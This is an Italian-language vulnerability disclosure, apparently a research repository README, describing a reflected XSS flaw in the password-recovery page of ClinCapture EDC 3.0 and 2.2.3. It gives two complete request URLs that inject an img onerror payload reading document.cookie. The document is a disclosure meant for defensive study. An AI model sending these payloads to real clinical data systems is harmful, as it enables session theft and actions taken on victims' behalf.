
XSS riflesso in ClinCapture EDC
Questo repository è esclusivamente per scopi educativi e di ricerca sulla sicurezza difensiva
Vulnerabilità di cross-site scripting riflesso (XSS) in ClinCapture EDC 3.0 e 2.2.3, che consente a un attaccante remoto non autenticato di eseguire codice JavaScript nel contesto del browser della vittima.

Per dimostrare la vulnerabilità, è necessario accedere alla scheda di recupero password e specificare il payload nel parametro name o email oppure inviare una richiesta
<url>/edc/RequestPassword?action=submit&name=text%22%3E%3Cimg%20src%3dx%20onerror%3dalert(document.cookie)%3E&[email protected]&passwdChallengeQuestion=favorite_animal&passwdChallengeAnswer=&Submit=Submit

<url>/edc/RequestPassword?action=submit&name=text&[email protected]%22%3E%3Cimg%20src%3dx%20onerror%3dalert(document.cookie)%3E&passwdChallengeQuestion=favorite_animal&passwdChallengeAnswer=&Submit=Submit

Un utente non autenticato può eseguire codice JavaScript nel contesto del browser della vittima, con l'obiettivo di compiere azioni per conto della vittima o di rubare informazioni riservate, come la risposta a una domanda di sicurezza